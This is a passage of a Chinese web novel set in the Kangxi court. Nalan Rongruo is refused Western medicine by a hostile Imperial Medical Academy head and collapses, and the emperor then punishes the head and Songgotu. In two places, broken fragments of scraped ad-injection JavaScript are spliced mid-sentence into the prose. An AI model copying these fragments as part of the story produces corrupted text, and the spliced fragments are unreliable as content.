两位院判扶了容若一下,“长公子小心!” 容若含笑点头一谢:“我还能顶一阵子,没事。” 见明珠之子上前,院使问:“纳兰公子,来我太医院何事啊?问药还是请人?” “我就直说了,我来找西医、开西药。” 院使没把明珠之子放在眼里,大笑道:“找西医还不如找藏医。要不要本官把比你们满清的萨满法师还厉害的藏医叫来,好好给你瞧瞧风寒?” “我现在的重症的不只是风寒。” “身子空脑袋重,伴随着阵阵头痛,胸闷气短,忽冷忽热,不是风寒是什么?本官对你这样的小病看得透彻,你不必在本官面前装重症!” 容若被院判一气,促咳了几声。 左院判上前道:“院使大人怎么对长公子说话呢?即便是碍于党争不看明珠大人的颜面,也要万岁爷的颜面!人什么都可以装,唯独这病,来了就来了,身体负重说不得谎。” “你知道纳兰公子来太医院干什么吗?”院使交叉着双手,抵触道,“他不是来瞧病的,而是身为满人,见不得汉方和汉医的好,堂而皇之地要求派西医和抓西药来炫耀起自己的‘千金贵体’来了!” “你怎么搞党争还不够?还要分满汉之争?”右院判沉声问,“皇上步步推行的治国方略,就是被你这样的小人从中作梗,才无法得以得力推行。” “他——”院使往容若身上一指,“是想冲击我太医院的体制,不把‘太医院只有汉人才能胜任’的太宗皇帝训诫放在眼里!” 从被误会装病、到被质疑:败坏皇太极时期就流传下来的“太医院用人规矩”,容若忍无可忍。 他言语恳恳地对院使和众汉医指出: “学则通,通则变,西医西术亦有可取之处,你们盲听索额图说的‘医术华夷有别’,就固步自封以自身所掌握的本领为荣、不思振作以为洋人看病都是在摆弄雕虫小技,难道不是自满之心在作怪吗?” “身为悬壶济世之人,应当对华夷两方的仁心仁术兼容并包,不以汉医身份为傲,而与西医相互切磋、相互促进,以此来通明和解治各类疑难杂症才是。你们每天坐在这里,来往抓药是为了什么?誊写方子是为了什么?仅仅是为了名利和让后宫嫔妃在皇上面前多美言几句吗?” 容若身子一晃,扶住了一张高脚茶几。 他知道自己现在宜静养不宜多说话,否则身体状况只会更差,只怕……还没等西医到来,就先昏阙不起了。 * 可是偏偏就不如意。 容若的真心话不但没有说服汉医和缓解矛盾,反而把导火索引向了“国情”和“局势”,以至于他急火攻心、刷白了脸色,胸中堵着一股愤懑无力大声喧哗,整个人就跟是到了极限一般,自知最多撑不了一刻钟。 院使对容若的病损状态于不顾。 众人只听那太医院的最高责任人道: “纳兰公子不但沉迷于西洋的算术和历法,更是把西医和西药当成保命和治病的法宝,真是叫太医院的众汉医颜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面扫地!这事如果传出去,怕是连皇上的脸面都保不住!” 求西医、求西药不得,反而是惹得病躯痛上加痛、精神累上加累。 讲道理、摆事实不成,竟然叫自己落入了被人取笑、针对的境地。 容若气问:“西药是人制的不是邪术炼成的,我为什么就不能以身试药?就因为开方子的是洋人,我就作为大清子民、就一粒药片都碰不得吃不得了吗?” 院使身后的索党汉医们,发出阵阵笑声。 他们,大抵是在笑纳兰公子的固执和偏激,想当这—— 以身涉险,拿夷术来治“风寒病”的第一人。 院使大声责备:“往小处说,是纳兰公子你病急乱投医、不惜性命;往大了说,则是纳兰公子你不知轻重,抬举西医西药、妄图把华夏汉医汉方的尊严放到地上踩,有辱大清国威!” “西药是你们容不下就不存在的吗?是你们刻意排挤就会从世上消失的吗?本就是合理存在于世和救人性命的东西,谈何辱国?” 院判压根不听容若的思辩,对公子威胁恐吓道:“有辱大清国威者,罪同叛国卖国,当杀当株连九族。” 一名看似索党走狗的御医,狐假虎威道:“汉医才是太医院的中流砥柱,汉药才是上至宫廷下至民间的除病良方。” “没错。”院使对同阵营的御医点了点头,“你说得好。” “对症下药之说,已经应对不了汉人医书上记载的所有病例了,就像是院使你根本不知道我患的是寒疾,还非要以‘风寒’和‘伤寒’来论来治一样,简直是无的放矢,跟庸医有何区别!” “本官掌领太医院三年,你敢骂本官是庸医?” 院使朝容若一瞪,重重的一拍桌子。 “纳兰公子,你这态度本官要是参你一本,满朝文武也能按律叫皇上给你一个——不思己过、勾结洋人、辱国滋事的死罪!看明珠还保不保得了你!” “我坐在这儿。”容若不屈服,逆着院使意思,“来人,去请三位西医过来。” 院使第二次拍桌子:“谁敢——” 容若亦是强硬命令:“去请——” 就这么僵持了好一阵子。 直到容若自己心中的郁气化作一汪鲜血涌了出来,浸红手帕,院使这才意识到大事不好,贵公子的病好像是真的,而且严重的很! 容若心灰意冷地看着因卷入“明索党争”而互不相让的御医们: 有心去官舍请西医的左右院判走不出去,百做阻挠的院使党羽们堵成了半片人墙。那些人,哪里还有一点把人命看在眼里的样子? 求人不如求己。 “让开,我自己去找……” 找什么?西医、明珠、还是皇上? 太医院的众人还没猜测出一个结果来,就看见没行几步的容若倒在地上,已然昏死过去。 * “惠嫔娘娘到——” 太监张全保的一声喊,打破了太医院中的僵局。 惠嫔从来没有想到过,自己进宫以后第一次见表兄容若,竟然是这般场景。 她没有慌叫,也没有责问在场的任何人,而是冷静道:“张公公,你去告知皇上;远黛,你去告知太皇太后。这里有我,你俩快去办事。” “是,娘娘。” 张公公和贴身宫女走后,惠嫔为了避嫌,不好直接把容若抱起呼唤,只好对左右院判吩咐道:“刘大人,李大人,你俩还不快把公子从地上扶起?秋寒地冷,公子受不了地砖的凉意。” 两位院判这才意识到了自己的疏忽,立刻合力把容若抱上了院内供病人躺歇的软塌。 见惠嫔也是明党之人,院使冷问:“娘娘因何而来?” 惠嫔道:“本宫应了皇上的命而来,选几味药材回去,用作给皇上炖药膳汤的材料。” “那娘娘就请挑吧!” 院使指向身后的一扇墙,与其说墙,不如说是一面有着无数小抽屉的嵌壁药橱,密密麻麻一片,除非是把什么药放在哪一层哪一列都熟熟牢记的人,否则目标难寻。 惠嫔这下子明白了:那些人,先是为难了表兄容若,后是这般作对于她,皆因明珠一时低势于索额图。 此刻,她心中纵使是再担心、再牵念表兄,也不能表现出来。 自己已经是皇上的嫔妃,只能矜持、只能忍耐,只能把“容若公子”视为皇上的臣子,不可靠近过深、不可关切过多。 这一层的身份不同,隔断了多少该有的心声和情语? 这一眼相望而不能望,刮碎了多少心中温柔和惆怅? “娘娘怎么不挑药材、也不说药材的名字?”院使脸上掠过一丝讥讽,“本官只怕娘娘心中另有所想,却故作对心上人的视而不见。” “公子来太医院是治病问药的,如今变成了命在旦夕。”惠嫔走到院使面前,“当中发生什么本宫不便问,皇上自然会明察。” “他是一大罪人!”院使指向容若,“以后,就让他专看西医、专吃西药得了。” 惠嫔这才知道: 表兄真的好大胆,找西医求西药之事,怕是连伯父明珠都瞒着,不然伯父怎么可能允许?表兄这一做法,他自己可能不觉得哪里不妥,但从旁观者的角度看,真的是惹起了太医院半数以上的怒火呀! 惠嫔陷入了沉默,只等待张全保张公公快点来回话。 表兄现在的情况,有皇上做主就好办了,皇上的口谕倒是快些下来啊。 终于,外头传来了一声顾问行高喊的天子来临之声: “皇上驾到——” 【注1】康熙朝前期洋人医生:尤里恩(阿兰陀/荷兰医马鸿德)、乔纳斯(德意志医)和邦尼特(法兰西医)。 76.第76章 玄烨进入太医院后,立刻开始搜寻纳兰的身影,全然不顾太医们和惠嫔的行礼。 见皇上坐到了纳兰公子的病榻前,满脸忧思地握着纳兰公子的手,顾问行代为问道:“院使大人,今儿你这发生的事,可是惊动圣驾了你知道吗?纳兰公子亲自登临太医院看病问药的要求你都敢不满足,该当何罪啊?” “顾总管别急着往臣等身上栽罪。”院使解释道,“要看纳兰公子是何居心,问什么医和什么药才好。” “认真答话吧!”顾问行来到皇上身侧,“万岁爷听着呢。” 院使转身,对着玄烨道:“皇上,臣等遵守太宗皇帝训诫:太医院以汉医汉方为本,勘查诊疗各类病症。今日纳兰公子进来就威胁臣等避让,非要叫来西医诊治,臣等苦劝无效,公子怒火上头才会失控昏阙。” 玄烨自知纳兰的性格并非如院使描述那般蛮横不讲理,倒也不说破,只看向两位院判,问道:“方才这里发生了什么事,纳兰为什么会这样,都一一给朕说明白。” “回皇上,院使所言,无一属实。” 左院判耿直道: “先是院使对公子的病况作了误判,将‘寒疾’说成是‘风寒’惹恼了本就病重的公子;中是院使指责公子装病和坏了太宗皇帝定下来的规矩,气坏了公子;后是院使大骂公子崇洋媚外、辱国滋事该死,把公子激到呕血……还不许公子唤西医来救,公子才会动了自己去官舍叫西医的念头,心力不支而倒下不起。” 玄烨对眼前人冷恨道:“好啊,院使你好大的胆子,敢代替朕给纳兰定罪和想着纳兰被处死。” 院使却是带着“傲气”道:“皇上,奴才一心为国,见不得纳兰公子舍本逐末的姿态和贬华崇夷的媚骨,所以才不许他传西医。” “本来按照朕这一朝的规矩,西医应当与众汉医一同坐班,现在‘洋医署的区位却空了出来,可见平日里西医受了多少你们的欺压!朕,容不得你们仗势欺人、不给西医正常奉职的机会。” 院使狡辩道:“是那些洋人自己不来。” 右院判道:“启禀皇上,臣可以作证,并非西医不来,而是来了也呆不下去。皇上调拨给太医院的用作给西医购置仪器、翻译医书、编整洋方的银子,有三分之二进了院使背后的靠山的口袋。” 玄烨知道后,惊怒交加。 只是坐在纳兰身边,不要龙颜大怒而自失分寸,才没有在太医院内发作情绪。 “右院判你说,这个太医院上下都听谁的?” “回皇上,听明珠大人的对手索额图索大人的!” “难怪。” 玄烨放下纳兰的手,走到院使面前。 “蛮横无理,刻意打击西医,罪其一;贪赃枉法,处处排挤西医,罪其二;医德有缺,威吓纳兰,揣测圣意,罪其三。朕下令革去院使顶戴,赐死罪。太医院内一切事物,由左右院判代理,他日朕再另择贤能,填补院使一职空缺。” “臣知罪,是臣做错事了。” 院使扑通一声跪地,向康熙皇帝求饶。 “你没做错事,而是在朕眼皮底下做了该死的事!” 玄烨指着地上的罪臣,死罪已经没有回旋的余地。 “什么是该死?”院使被两个侍卫押出去时,大声斥问康熙皇帝,“臣维护太医院的规矩该死?正我汉医本源该死?还是因为皇上偏私纳兰公子,才下令臣赴死?臣不服……” “皇上。”惠嫔上前,“臣妾以为当务之急有二:为容若公子治病和对太医院兴利除弊。杀一儆百固然可以震慑人心,但是不将太医院背后的靠山拔除,则无法彻底更正太医院风气。” “朕,自有主张。”玄烨心中斟酌,“你放心。” “是,臣妾告退。” 玄烨对顾问行道:“带纳兰到朕的养心殿安置,两位院判一同来瞧。” 顾问行应道:“是,奴才这就照着万岁爷的意思办。” * 皇宫里有人到明府传话。 明珠夫妇听罢容若的情况,十分担心,立刻决定一同进宫去看儿子。 路上。 “夫人,这西医啊本官还真没办法给容若单独从民间去找,一切还得仰仗皇恩才行。容若有胆识叫西医瞧病,本官不怪他。” “妾身见揆叙和揆方读徐光启的《农政全书》和《崇祯历书》,问他俩何故?他俩说容若哥哥也在看。这徐光启不是崇洋的积极分子吗?师从利玛窦,还入了天主教,取名保禄。” “大明王朝礼部尚书尚且能够认真对待西洋文化,放到我大清,礼部尚书怕是宁愿辞官也不敢碰一点洋人的东西。” “夫人,这会儿容若在养心殿在皇上身边躺着,你一个妇道人家不方便进见。等本官请了皇上的准,将容若移去慈宁宫的侧暖阁养着,再有劳你尽心照顾儿子。” “老爷你去见皇上期间,妾身可否去延禧宫看看惠儿?” “不妥,夫人你去慈宁宫陪老祖宗说说话。” “好,妾身听老爷的安排。” * 索额图带着次子格尔芬在皇宫里逛了一圈,正准备回府的时候,被一名侍卫拦住了脚步。 “索大人也在宫内就再好不过了,皇上正等着索大人去做个交代呢。” “怎么回事?” “纳兰公子不知道着了什么心魔,笃信西医能根治自己的顽疾,就跑到太医院去找西医瞧病。这西医没见着,却是落得一个吐血不醒的结果。皇上已经把院使给杀了,也清楚了太医院上下给索大人您送不义之财的事实。” “什么?”索额图脸色一变,“皇上为了一个纳兰性德,处死了院使?” “万岁爷为了纳兰公子,别说是杀一个院使。”那侍卫揣测道,“万一贵公子有个好歹,杀了整个太医院给他陪葬也不无可能。” 格尔芬对索额图恨道:“不怪皇上,院使会死,都是阿玛你害的!” “本官没害他!是他自己找死。”索额图跟着侍卫去往养心殿,“贵公子要看西医,给他看就是,堂而皇之地跟贵公子作对,皇上能饶他吗?” “儿没必要跟着阿玛你一起去面圣!”格尔芬忽然停步,“阿玛在心中酝酿的面圣之言,儿实在是一句都不想听。” “你给本官提起十二分精神来听。” 索额图转身,用力一拽格尔芬的手,拉着他向前走。 * 养心殿内。 索额图看见了先一步落脚的明珠,心中难免嘀咕:明珠不会在皇上面前说了什么报复性的话吧? 明珠看见索额图带着儿子一起来,则是皱眉思索:死对头今日玩什么把戏?见我儿容若一病不起,就把自己的儿子带到皇上跟前来趁人之危? “索额图,要不是今日纳兰出了事,朕还不知道整个太医院都是你在操控。你贪了朕用于西医、西术、器械上面的拨款还不够,更是养成和放纵了一批医术不精、不惜人命的滥竽充数之辈,使得太医院之间的派阀斗争不输朝堂党争,你可知罪?” “臣不敢领罪啊皇上!”索额图跪下,“皇上要是强行给臣论罪,太医院必将乱套,朝堂上必将人人自危,到时候大臣们为了自保,就会联名上奏皇上收回成命。为避免皇上日后为难,还请皇上三思。” 格尔芬对阿玛的狡辩之词目瞪口呆,甚至无法想象,接下来康熙皇帝会被老谋深算的索额图倒逼到什么地步。 “联名上奏?”明珠冷笑,“众位不是‘联名请辞’来保索大人你,皇上又怎会为难?言语片奏,威胁力比实际行动小多了。” “皇上大大推行恩惠汉人之策,春考过后,怕是汉人为官的人数要远远高于满人之上了,一旦朝中汉人官僚抱团自成一派,我索额图跟他明珠也奈何不了。试问皇上:该如何应对此事?若是此事应对不好,外加洋人发难,夷术窃国和误国,后果谁来承担?是不是要杀了纳兰父子来平息众怒?” 听罢索额图的这番话,格尔芬背脊发凉。 如果这就是日后的为官之路和强辩自保之道,那自己宁可不要再近养心殿一步、再面对皇上和明索二人一次。 “索额图,你以为朕会适可而止吗?朕不会。” 玄烨走出宝座,来到索额图面前。 “现在太医院唯你是瞻,你的人,朕会好好动一动。还有内阁,朕也不必看在皇后的份上给你留脸面了,即日起,转由明珠行使你原本的权力。” 明珠谢恩道:“优胜劣汰,臣明珠,必定为皇上为大清尽心尽力。” 索额图怒吼道:“明珠,皇上的意思是你暂行权柄,不是叫你自以为是:完全取代我!” “索大人,你的内阁权柄半途而废,可不是我明珠使心机去抢的。皇上对你处罚算轻了,没有革去你的一切职务、将你赋闲在家,你还不谢恩吗?” “明珠你听着,有些机构并不是那么好管和那么好驾驭的,身在其中,一荣俱荣,一损俱损,凡事决策不由人,而是看天命、看大清的国运!” “索大人你错了,能否在一个大机构里说上话,是看一个人的本事。” 明珠忽然从身上拿出一道折子来,恭敬上呈给康熙皇帝。 “启禀皇上,这是臣思量过的一些国策,恳请皇上过目。” 玄烨看过折子之后,对里面的见解十分惊讶,总感觉不是明珠一个人的主意,倒像是有六成纳兰的心思。【注1】 “朕会一一思量。” “是。” 索额图见明珠这般翻弄心思来东山再起,冷讽道: “明珠大人一心扑在名利上,今日终于成就所愿,是该喜还是该悲?我说长公子为什么能病到不顾一切去找西医呢,看样子你这个做阿玛的……怕是在‘赋闲’的三个月里,没少往他身上发泄自身的火气吧?你好好反省反省吧!“ 明珠却是对格尔芬道: “二公子可要以本官为戒,事先想一想索额图变成本官这样的时候,你自个是什么心态。这么跟你说吧,容若的心态稳的很,父子之间有矛盾在所难免,关键是双方懂得彼此的心,愿意同舟共济往前看。“ “谢明珠大人提醒。” “不必谢。”明珠发现了,“你要见的兰草香包是我儿容若相赠的吧?好好珍惜着这份情谊就是。” 明珠向康熙皇帝请求道:“皇上,西医在宫中奉职,臣不便将他们请回府上照料容若,免的自找妄自尊大之嫌。还请皇上恩准容若到慈宁宫的侧暖阁里去养着,病好再回。” “朕准了。”玄烨点头,“有皇阿奶鸿福照拂、有苏嬷嬷关切呵护,朕也放心。” “臣的夫人此刻正在慈宁宫陪老祖宗说话。” “好,朕再准了纳兰在抱病期间、有额娘陪伴就是。” “臣谢皇上恩典。” * 夜间。延禧宫。 纳兰惠儿一边心不在焉地看书、一边焦急等待外头的消息。 太监张全保进来,请安过后道:“奴才给惠嫔娘娘回话,皇上对事情的处理是:免除了索额图大人的内阁权柄,交由明珠大人协理代行;亲自考核太医院的人事任免,不日太医院就要迎来新班子。” 惠嫔问:“容若公子现在怎么样?” 张公公道:“公子这会迁去了慈宁宫侧暖阁养着,但是太皇太后没给让西医去诊,只下懿旨叫两位院判亲自给公子把病。明珠大人先一步回府了,觉罗夫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人留在公子身边陪伴照料。” 惠嫔再问:“那皇上呢?” 张公公警惕地看了一眼左右,未见可疑,才谨慎道:“皇上在养心殿琢磨明珠大人上的折子,好似觉得折子不全是明珠大人自己所言所写。” “皇上对折子内容是纳还是拒?” “奴才不好说。但听皇上身边的梁九功梁公公说,这道折子上的正是时候,多半建议应该是提到皇上心坎里去了。” “张公公辛苦了。” “惠嫔娘娘千万别这么说,奴才虽是内务府的太监,但也愿意肝脑涂地地为明珠大人办事。想当初内务府总管噶禄多亏了明珠相救,养心殿火灾之事才没有掉脑袋和殃及奴才等人,噶禄总管的恩人,也是奴才的恩人。奴才自当为惠嫔娘娘奔走。” “好,本宫明白了。远黛,去送张公公。” “是,张公公请——” 惠嫔来到窗边,抬头望着越来越圆的中秋月。 伯父明珠在官场上重新掌舵是好事,世间事多是如此,像月亮那般盈亏有度、像潮水那般此消彼长,无非就是:人好我坏,我坏人好。 表兄现在不醒人事,太皇太后却是比皇上要稳妥许多: 表面上先叫两位院判负责纳兰的病,暗地里却准备西医用洋方来治,这样就能够避免朝中反对洋人洋风的保守派们的口舌。 不然照着皇上的爱臣之心,一下子就把纳兰的一切都交由西医主理,朝纲都怕会因此而乱套。那些誓死捍卫着旧制度的朝臣和八旗亲贵,哪里容得下君臣二人的标新立异? 惠嫔的视线从月亮上移开,低下头,轻轻用护甲抚摸秋花花瓣,触绪而伤。 纳兰无理取闹,皇上纵臣昏庸。别人眼里的看法,真叫我心寒。 纳兰自作自受,皇上诛医而抚。别人口中的说法,真叫我心痛。 纳兰以身设局,皇上清算索党。别人脑内的误会,真叫我心塞。 远黛安慰道:“娘娘,多思无益,还是宽心的好。” 惠嫔叹道:“外头的声音,本宫听不到却想的到。表兄活的太累了,看病没法顺心,即便是醒来了,也不见得能安心。” “可是公子聪慧,理应能够料到结果才是。”远黛询问,“为何还要抱病入宫来寻西医?” “本宫觉得表兄是怕。” “怕?公子怕什么?” “表兄怕自己的身体真的出了什么大碍,帮不了伯父明珠逆风翻盘,就想着借西医之力来快速愈病。表兄也怕自己的寒疾会耽误将来契机,圆不了自己的功名路,就想着换一种方式来对待病体。他自己是盼着能好,毕竟西医对他而言也是新奇的东西,他呀——” 惠嫔微微一笑、轻轻一叹,“就是走在别人的前头,对洋人的东西和技术,不是仅仅贪图一个见识和乐趣,而是宁愿付出自己的身心来学以致用。” “娘娘是最了解公子的,远黛自小跟在娘娘身边,知道娘娘始终牵挂着谁。” “本宫现在是皇上的女人,远黛,你说话也要格外谨慎,知道吗?” “是,远黛记下了。” 这一夜,纳兰惠儿没有睡着。 冷暖与担虑,都在一词之中。 《玉碟案·思调》 灯花萧萧又一宵,秋风不尽枕边香,欲拈还慌。落去烛泪入潇湘,此三生,与君难共从君去,已是鸿侣天荒。 木兰花雕,鸳鸯字挑,梦境难圆轻尘窗。飞镜落落、心事摇摇,何故恐天光?待坐起,垂眸处,脂粉醒来不兼妆。 * 夜已三更,明府。 “本官熬了这么久,终于翻身了。”明珠感慨,“如今索额图被削权,本官重新得势掌权,只能说是筹谋有报。” “下官恭喜明珠大人。”高士奇抱拳道,“索额图的某些行径,的确是叫人不耻,但他毕竟是皇上的嫡长子的叔姥爷,未来谁继承大统,也难说。” “要想活得好,就不可干涉皇家的立储之事。”明珠叮嘱道,“索额图要是在背后动立皇太子的心思,绝对是万死不得超生。” “难不成来日惠嫔娘娘诞下子嗣,明珠大人就只希望阿哥当个贤王?” “皇家骨肉相残之事众多,当个贤王能活命,划算。” “高大人,太医院的事情你怎么看?” “下官多问一句,贵公子找西医的事情,真没有事先跟你这个阿玛商量过?” “容若连病都瞒着本官,何况是找谁治病之事。” “下官不敢妄测贵公子的本意,但是太医院之事皇上真要拿到朝堂上去圣裁,想必太皇太后也不允许,只能等待一些时日,再看皇上的具体动向。明珠大人,这皇上说的是‘动一动’太医院的人,而不是‘换一换’太医院的血,您琢磨出圣意来没有?” “你提醒的有道理。现在院使死了,索额图没法再操控太医院,皇上的干戈要是动的太大,我明珠也会遭人非议,所以这事皇上只能跟我儿容若商量着办。” 明珠离开座位,在厅内慢慢踱步,心想: 我的容若现在还昏睡着,他未醒之前,皇上对太医院的“变革之念”只能停留在脑海里。我儿作为当事人,应当顾全大局,既让我明珠得益,又让索额图在削权的基础上再得皇上一罚。 关键是:接下来,我儿与皇上的合计,得让人心服口服才行。 “说难不难,说易不易呐……” 明珠在高士奇面前说完这句话,就端起茶杯来饮了口热茶。 ——但是本官相信,这君臣二人能做到。 明珠置盏一笑。 【注1】纳兰父子筹谋内阁话语权和决策权,步步递进,见第71章、第73章。 77.第78章 慈宁宫侧暖阁。 玄烨坐在纳兰的床侧,问跟前的两位院判和三位西医: “朕照着太皇太后的意思,让两位院判用汉方来调理纳兰的身子,他至今未醒。之后朕又命西医写出一份可行的方案来,控量给纳兰试服西药,他还是没醒。你们有什么话要给朕交待?” 左院判道:“回皇上,公子的病是顽疾,发作之时若是居家静养,时日过去便可转好,要是动了肝火,则周身不调,才会昏阙不醒。” 玄烨皱眉,“你的意思,是叫朕等着守着、直到纳兰自然醒为止?” 右院判道:“臣等实在是无法预料公子的确切苏醒时间,还请皇上见谅。” 玄烨转向西医:“你们仨怎么说?” 荷兰医道:“回大清国皇帝,中西结合之法,我们正在跟两位院判探讨。探讨结果是:寒疾会伴随公子一生,非用药可根治。” “那你们也要替朕管着纳兰的病。”玄烨向下旨一般,“捉摸不准发病周期,就给他出防患未然之策;不可彻愈,就多给他说一些宽心的话。” 苏麻喇姑进来,对玄烨道:“皇上,老祖宗叫您过去。” “皇阿奶有说什么事吗?不是什么大事的话,苏嬷嬷你就去回话,说朕要守着纳兰。” “皇上,三藩搜刮百姓财物、且频频抬高税赋,南方地区已是民心难安。所以老祖宗叫皇上过去——” “岂有此理!三藩在各自的藩镇管辖区内有自主权,如何统治百姓朕忍了,他们不给朝廷上交一粒粮食朕也忍了,如今气压到百姓头上,朕如何能忍?百姓是朕的百姓,不是藩镇内独属藩王、任凭藩王宰割的羔羊!” “老祖宗怕三藩将搜刮到的民财用作军费、不向朝廷缴纳的粮食用作军粮,才叫皇上到跟前去说话。” “朕早就跟皇阿奶说过,不能养虎为患,要早对三藩做削剿,现在三藩之弊端日盛,皇阿奶倒是主动叫朕过去拿主意了。” “皇上,时日在变,老祖宗都是为了你好。” “朕这就过去。”玄烨转向院判和西医,“你们就在这候命照看纳兰,没朕的许可不准离职。” 顾总管道:“奴才冒死劝万岁爷一句,院判和西医都在这里,难免叫人在背后议论万岁爷专擅,不妥啊!” “是啊皇上。”苏麻喇姑亦相劝,“这有我和明珠大人照看着公子,就让院判和西医先退下吧。” “好。辛苦苏嬷嬷。” * 玄烨来到慈宁宫正殿,给孝庄请了安。 同时,他看见曹寅也在,心中不由得踏实了几分。 “皇上,纳兰这孩子心事重,等他醒了,你去陪他说说笑。像是三藩的事情,皇祖母我不反对你跟他商议,但是要你先融一融他心情再说。” “好,那孙儿就问问纳兰:如今朝廷兵马粮草尚在筹备中,国库也吃紧,能不能把整个明珠府贡献出来算作军费?愿不愿意把编书的预计款四十万金拿出来济南方粮仓?” 见玄烨故作威望的姿态,曹寅笑道:“皇上,你要是把‘要钱’的手伸向纳兰,岂不是显得无能?” “无能就无能。”玄烨依旧高傲,“朕要不是顾着纳兰的感受,早把他家给翻了和抄了!” 曹寅乐道:“奴才怎么听说,皇上舍不得纳兰自筹四十万金编书,反倒是想自己从国库里拿出钱来资助他完成理想?如此看来,大清在皇上的清明治理之下,国库也不亏空啊!” “所以朕才说到时候了。”玄烨对孝庄道,“等到明年二月春考结束、殿试选贤任能完毕,朕就平了三藩。还剩四个月,够孙儿准备和自己决策了吧,皇阿奶?” 未等孝庄回应,曹寅就试着问:“刻意将平藩之事安排在殿试之后,皇上你是不是想给纳兰一个立功的大好契机?” “朕不怕把实话告诉你。”玄烨目光犀利地看向曹寅,“给纳兰什么官职不要紧,要紧的是把他放在什么位置。” 曹寅没往下问。 因为他晓得,皇上的意思是:要时刻把纳兰留在自己身边,要纳兰一辈子都当自己的陪臣。 孝庄道:“皇上,三藩之事,先招抚,招抚不成再动武力。” 玄烨不满道:“皇阿奶还是要干涉朕?” “皇祖母没叫你去对三藩招安,而是把朝廷的意思讲给他们听,给他们一个收敛的机会,要是他们不从,后续仍旧鱼肉百姓、操练兵马、不臣于我大清,皇上也好师出有名对他们进行征讨。” 玄烨一想,“皇阿奶说的有道理,孙儿听从皇阿奶教诲。” 孝庄叮嘱道:“明珠父子是站在皇上的立场主张平藩的,皇上不要拿那些没出息的话去激纳兰。纳兰虽然养尊处优,但是不曾沾染富家子弟的一丝陋习,反倒是皇上打着我这个太皇太后的名义来安排各种名目的宫宴、过宠过疼皇后的嫡长子,才是叫做没道理。” “孙儿不是已经纳了明珠的谏吗?”玄烨低头,“皇阿奶就不要再追究了。” “好,皇祖母我不追究。”孝庄不放心道,“太医院的事,皇上打算怎么办啊?” “朕自然是等纳兰醒后,跟他一起商量着办。” “你知道问纳兰的想法就好。”孝庄稍感欣慰,“皇祖母就怕你将太医院的门面和人事全都翻了个新,镇不住朝臣们的嘴。” “朕不是偏袒纳兰、也不是做给罪魁祸首索额图看,而是痛恨旧制度的愚昧和人心的顽固,导致西学在大清没有立足之地,除了朕、纳兰、云辞格格之外,还有谁看得到西学的好处?” “那皇上就该庆幸没有跟洋人开战!”孝庄思危道,“不然朝中意见分持几端,该听谁的?” “朕集权亲政至今,从来都是把朝臣们的意见当作参考,没有‘听从’二字。皇阿奶早就教过朕:江山和国事并非儿戏,要学会自己做判断、下定裁。” “咱们皇上倒真是长记性了。”孝庄微笑着点了点头,“皇祖母相信,皇上能够合理处理眼前这两桩要事。” “孙儿谢皇阿奶信任。” * 容若醒来,看见额娘在身边,以为自己是在家里。 但是定睛看了看帐幔的布置,才发觉自己是在慈宁宫侧暖阁。 “额娘。”容若叫觉罗氏,“您辛苦了。” “儿子。”觉罗氏慈爱地把容若扶坐起来,“好一些没有?” “每次病醒,状态都是比病中要好,过几天儿就能痊愈和下床走路了,额娘别担心。阿玛怎么样了?” “你阿玛在家里,多半是跟自己幕僚在议朝中事。现在索额图的内阁权柄被夺,由你阿玛代掌,是皇上的制衡之法,好让内阁里面的大臣端正立场。” “太医院之事,皇上做了什么过激的裁断没有?” “皇上杀了院使,说要动一动之前依附索党、贿赂索党的医官们。额娘想,皇上会参考你的意思来行事,所以儿子,你要拿出一个最优方案来才好。” “皇上杀院使杀的在理。”容若判断道,“用院使这一条命,抵了索额图的该罚该降之罪、挫了其他攀炎索党之人的气焰,定是能叫索额图心里有数,从这会儿起,到年底也不敢再生事、不敢再借皇后叔父的关系招摇行事。” “额娘,儿有话想请您带给阿玛。” “你说吧,额娘会好好转达。” “固本溯源,继往开来,可以稳位纳权。”容若在额娘耳边轻语,“叫阿玛给皇上提个醒:内阁里威望高的大臣,既要用也要防,不是让明珠换了索额图就能管的住的。” “儿子,这主政的话语权你阿玛也不敢妄自露出苗头来呀!”觉罗氏小声道,“你叫你阿玛这般提醒皇上,会不会适得其反?” “额娘放心,这不会。”容若理智道,“儿是为了阿玛好,要在内阁行事通畅、与人以贤,光兼顾大臣们的心气不成,光摸透大臣们的算盘也不成,还得事无巨细地奏明皇上,才能显得明珠比索额图对天子忠心。” “有道理。”觉罗氏明白了,“先要取得天子的信任,你阿玛才能从——天子起初的‘用用看’的试探心态,逐渐过渡到日后的‘可让主权’的信任状态。” “是啊,儿就是这个意思。” “好,额娘回去后会告知你阿玛。” 容若躺在觉罗氏怀里,感受着这份难得的、无间的母爱。 他笑问:“额娘陪在容若身边这么久,想不想阿玛和揆叙揆方?” “额娘现在想的,是你心中所盼。”觉罗氏温柔道,“你呀,既是长大了又是未长大,心中还是想额娘多疼你一些的。” “儿喜欢这样母子一块儿、心无旁骛的时光。额娘比阿玛好,这样的时光儿不敢向阿玛讨,就多依赖着额娘了。” ——承蒙额娘不弃、承蒙额娘愿意。 翩翩公子的心事,在母亲所给予的爱抚之中。似乎源自母亲的“舍得”和“答应”,对他而言就是知足和高兴,甚至能够在独自回味之时,自我感动许久。 “饿不饿?”觉罗氏问容若,“想不想吃点什么?” “怕额娘见笑,儿喜欢吃慈宁宫里的点心。” “既然是喜欢,为何又数次把太皇太后赏赐的点心提盒给了别人?” “儿给了自己——”容若想说“喜欢的人”,但又改口道,“投缘的人。” 翩翩公子又赌气似的追加了一句:“换做是卢氏那种:张口就说世上最悲伤的字是一个‘若’字的女子,儿绝对不跟她同吃。” “容若,你跟小女子计较什么?”觉罗氏笑着安慰,“一句话,你就对她记仇那么久?” “不是记仇。”容若一本正经,“而是她不聪明,不聪明的女子以后要是得了‘指婚之好’进入纳兰家,额娘觉得合适吗?” “那自然是不合适。”觉罗氏体谅容若的心情,她也有自己的想法,“你的妻子,额娘的儿媳,不可以是除了端庄贤淑之外、一无是处的女子。” 跟额娘一起吃过慈宁宫的点心,容若不舍道:“额娘回府去吧!过几天儿子就回来了,叫府里上下不必过于牵念。” “好,那你好好养着,不但太医的话要听,皇上的话也要听,知道吗?” “嗯,儿知道。” * 延禧宫。 玄烨和惠嫔在下一盘棋。 顾问行进来,行礼后道:“奴才给万岁爷、惠嫔娘娘报喜,纳兰公子醒了。” 